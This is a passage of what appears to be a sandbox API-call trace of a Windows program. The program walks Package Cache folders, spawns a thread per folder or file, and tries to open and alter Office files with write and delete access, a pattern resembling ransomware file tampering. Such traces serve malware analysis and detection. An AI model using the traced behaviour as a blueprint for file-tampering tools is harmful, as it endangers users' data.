ftCreationTime.dwLowDateTime=0xeaffa190, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeaffa190, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeaffa190, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x93ad78 [0151.543] wcscmp (_String1=".", _String2=".") returned 0 [0151.543] FindNextFileW (in: hFindFile=0x93ad78, lpFindFileData=0x9085e8 | out: lpFindFileData=0x9085e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeaffa190, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeaffa190, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeaffa190, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.543] wcscmp (_String1="..", _String2=".") returned 1 [0151.543] wcscmp (_String1="..", _String2="..") returned 0 [0151.543] FindNextFileW (in: hFindFile=0x93ad78, lpFindFileData=0x9085e8 | out: lpFindFileData=0x9085e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeaffa190, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeaffa190, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeaffa190, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0151.543] FindClose (in: hFindFile=0x93ad78 | out: hFindFile=0x93ad78) returned 1 [0151.543] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9085e8) returned 1 [0151.543] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x904560) returned 1 [0151.543] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9bff08) returned 1 [0151.543] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x907c48 | out: lpFindFileData=0x907c48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeaffa190, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeaffa190, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeaffa190, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="swd", cAlternateFileName="")) returned 0 [0151.544] FindClose (in: hFindFile=0x8da1d0 | out: hFindFile=0x8da1d0) returned 1 [0151.544] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x907c48) returned 1 [0151.544] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8dd168) returned 1 [0151.544] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8dcc58) returned 1 [0151.544] FindNextFileW (in: hFindFile=0x8d9e10, lpFindFileData=0x9055c8 | out: lpFindFileData=0x9055c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe Custom Dictionary", cAlternateFileName="ADOBEC~1")) returned 0 [0151.544] FindClose (in: hFindFile=0x8d9e10 | out: hFindFile=0x8d9e10) returned 1 [0151.545] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9055c8) returned 1 [0151.545] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x934918) returned 1 [0151.545] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x934e58) returned 1 Thread: id = 2098 os_tid = 0xd4c [0142.602] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02055_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02055_.gif")) returned 0x20 [0144.941] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02055_.GIF", dwFileAttributes=0x20) returned 0 [0144.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02055_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02055_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0144.941] GetLastError () returned 0x5 [0144.941] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02055_.GIF", dwFileAttributes=0x20) returned 0 [0144.941] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x935ad0) returned 1 Thread: id = 2102 os_tid = 0xd60 [0143.140] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x98) returned 0x904600 [0143.140] wcscpy (in: _Dest=0x904600, _Source="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460" | out: _Dest="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460") returned="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460" [0143.140] wcscat (in: _Dest=0x904600, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\") returned="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\" [0143.140] wcscat (in: _Dest=0x904600, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\*") returned="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\*" [0143.140] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x91d7b8 [0143.140] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\*", lpFindFileData=0x91d7b8 | out: lpFindFileData=0x91d7b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2924cac0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8d9f10 [0143.141] wcscmp (_String1=".", _String2=".") returned 0 [0143.141] FindNextFileW (in: hFindFile=0x8d9f10, lpFindFileData=0x91d7b8 | out: lpFindFileData=0x91d7b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2924cac0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.141] wcscmp (_String1="..", _String2=".") returned 1 [0143.141] wcscmp (_String1="..", _String2="..") returned 0 [0143.141] FindNextFileW (in: hFindFile=0x8d9f10, lpFindFileData=0x91d7b8 | out: lpFindFileData=0x91d7b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0143.141] wcscmp (_String1="packages", _String2=".") returned 1 [0143.141] wcscmp (_String1="packages", _String2="..") returned 1 [0143.141] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa6) returned 0x97b808 [0143.141] wcscpy (in: _Dest=0x97b808, _Source="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460" | out: _Dest="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460") returned="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460" [0143.141] wcscat (in: _Dest=0x97b808, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\") returned="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\" [0143.141] wcscat (in: _Dest=0x97b808, _Source="packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages") returned="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages" [0144.856] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x97b808, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa7c [0144.857] FindNextFileW (in: hFindFile=0x8d9f10, lpFindFileData=0x91d7b8 | out: lpFindFileData=0x91d7b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0144.857] FindClose (in: hFindFile=0x8d9f10 | out: hFindFile=0x8d9f10) returned 1 [0144.857] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91d7b8) returned 1 [0144.857] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x904600) returned 1 [0144.857] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8faa18) returned 1 Thread: id = 2103 os_tid = 0xd64 [0143.141] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x98) returned 0x8faab8 [0143.141] wcscpy (in: _Dest=0x8faab8, _Source="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D" | out: _Dest="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D") returned="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D" [0143.142] wcscat (in: _Dest=0x8faab8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\") returned="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\" [0143.142] wcscat (in: _Dest=0x8faab8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\*") returned="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\*" [0143.142] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x91efc8 [0143.142] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\*", lpFindFileData=0x91efc8 | out: lpFindFileData=0x91efc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa938e870, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942170 [0144.972] wcscmp (_String1=".", _String2=".") returned 0 [0144.972] FindNextFileW (in: hFindFile=0x942170, lpFindFileData=0x91efc8 | out: lpFindFileData=0x91efc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa938e870, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.972] wcscmp (_String1="..", _String2=".") returned 1 [0144.972] wcscmp (_String1="..", _String2="..") returned 0 [0144.972] FindNextFileW (in: hFindFile=0x942170, lpFindFileData=0x91efc8 | out: lpFindFileData=0x91efc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0144.972] wcscmp (_String1="packages", _String2=".") returned 1 [0144.972] wcscmp (_String1="packages", _String2="..") returned 1 [0144.972] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa6) returned 0x97bd88 [0144.972] wcscpy (in: _Dest=0x97bd88, _Source="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D" | out: _Dest="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D") returned="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D" [0144.972] wcscat (in: _Dest=0x97bd88, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\") returned="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\" [0144.972] wcscat (in: _Dest=0x97bd88, _Source="packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages") returned="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages" [0149.319] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x97bd88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11c0 [0149.320] FindNextFileW (in: hFindFile=0x942170, lpFindFileData=0x91efc8 | out: lpFindFileData=0x91efc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0149.320] FindClose (in: hFindFile=0x942170 | out: hFindFile=0x942170) returned 1 [0149.320] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91efc8) returned 1 [0149.320] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8faab8) returned 1 [0149.320] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6fd8) returned 1 Thread: id = 2104 os_tid = 0xd68 [0143.143] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xaa) returned 0x8f4210 [0143.143] wcscpy (in: _Dest=0x8f4210, _Source="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005" [0143.143] wcscat (in: _Dest=0x8f4210, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\" [0143.143] wcscat (in: _Dest=0x8f4210, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\*") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\*" [0143.143] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x91ed60 [0143.143] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\*", lpFindFileData=0x91ed60 | out: lpFindFileData=0x91ed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb49460, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcb95720, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcb95720, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942630 [0144.972] wcscmp (_String1=".", _String2=".") returned 0 [0144.972] FindNextFileW (in: hFindFile=0x942630, lpFindFileData=0x91ed60 | out: lpFindFileData=0x91ed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb49460, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcb95720, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcb95720, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.972] wcscmp (_String1="..", _String2=".") returned 1 [0144.972] wcscmp (_String1="..", _String2="..") returned 0 [0144.972] FindNextFileW (in: hFindFile=0x942630, lpFindFileData=0x91ed60 | out: lpFindFileData=0x91ed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcb95720, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcb95720, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0144.972] wcscmp (_String1="packages", _String2=".") returned 1 [0144.973] wcscmp (_String1="packages", _String2="..") returned 1 [0144.973] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xb8) returned 0xd4c6140 [0144.973] wcscpy (in: _Dest=0xd4c6140, _Source="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005" [0144.973] wcscat (in: _Dest=0xd4c6140, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\" [0144.973] wcscat (in: _Dest=0xd4c6140, _Source="packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages" [0147.142] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0xd4c6140, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11b0 [0147.143] FindNextFileW (in: hFindFile=0x942630, lpFindFileData=0x91ed60 | out: lpFindFileData=0x91ed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcb95720, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcb95720, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0147.143] FindClose (in: hFindFile=0x942630 | out: hFindFile=0x942630) returned 1 [0147.143] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91ed60) returned 1 [0147.143] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f4210) returned 1 [0147.143] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x97af18) returned 1 Thread: id = 2105 os_tid = 0xd6c [0143.144] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x94) returned 0x8fab58 [0143.144] wcscpy (in: _Dest=0x8fab58, _Source="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}") returned="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" [0143.144] wcscat (in: _Dest=0x8fab58, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\") returned="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\" [0143.144] wcscat (in: _Dest=0x8fab58, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\*") returned="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\*" [0143.144] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x91cbb0 [0143.144] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\*", lpFindFileData=0x91cbb0 | out: lpFindFileData=0x91cbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd0b340, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xecd314a0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xecd314a0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942570 [0144.979] wcscmp (_String1=".", _String2=".") returned 0 [0144.979] FindNextFileW (in: hFindFile=0x942570, lpFindFileData=0x91cbb0 | out: lpFindFileData=0x91cbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd0b340, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xecd314a0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xecd314a0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.979] wcscmp (_String1="..", _String2=".") returned 1 [0144.979] wcscmp (_String1="..", _String2="..") returned 0 [0144.979] FindNextFileW (in: hFindFile=0x942570, lpFindFileData=0x91cbb0 | out: lpFindFileData=0x91cbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecd314a0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xecd314a0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xf08b3aa0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x28e, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1 [0144.979] wcscmp (_String1="state.rsm", _String2=".") returned 1 [0144.980] wcscmp (_String1="state.rsm", _String2="..") returned 1 [0144.980] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa4) returned 0x97be38 [0144.980] wcscpy (in: _Dest=0x97be38, _Source="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}") returned="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" [0144.980] wcscat (in: _Dest=0x97be38, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\") returned="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\" [0144.980] wcscat (in: _Dest=0x97be38, _Source="state.rsm" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm") returned="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm" [0146.619] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97be38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11d0 [0146.620] FindNextFileW (in: hFindFile=0x942570, lpFindFileData=0x91cbb0 | out: lpFindFileData=0x91cbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecd0b340, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xecd0b340, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd3ea4f80, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x6f428, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x86.exe", cAlternateFileName="VCREDI~1.EXE")) returned 1 [0146.621] wcscmp (_String1="vcredist_x86.exe", _String2=".") returned 1 [0146.621] wcscmp (_String1="vcredist_x86.exe", _String2="..") returned 1 [0146.621] FindNextFileW (in: hFindFile=0x942570, lpFindFileData=0x91cbb0 | out: lpFindFileData=0x91cbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecd0b340, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xecd0b340, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd3ea4f80, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x6f428, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x86.exe", cAlternateFileName="VCREDI~1.EXE")) returned 0 [0146.621] FindClose (in: hFindFile=0x942570 | out: hFindFile=0x942570) returned 1 [0146.621] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91cbb0) returned 1 [0146.621] RtlFreeHeap 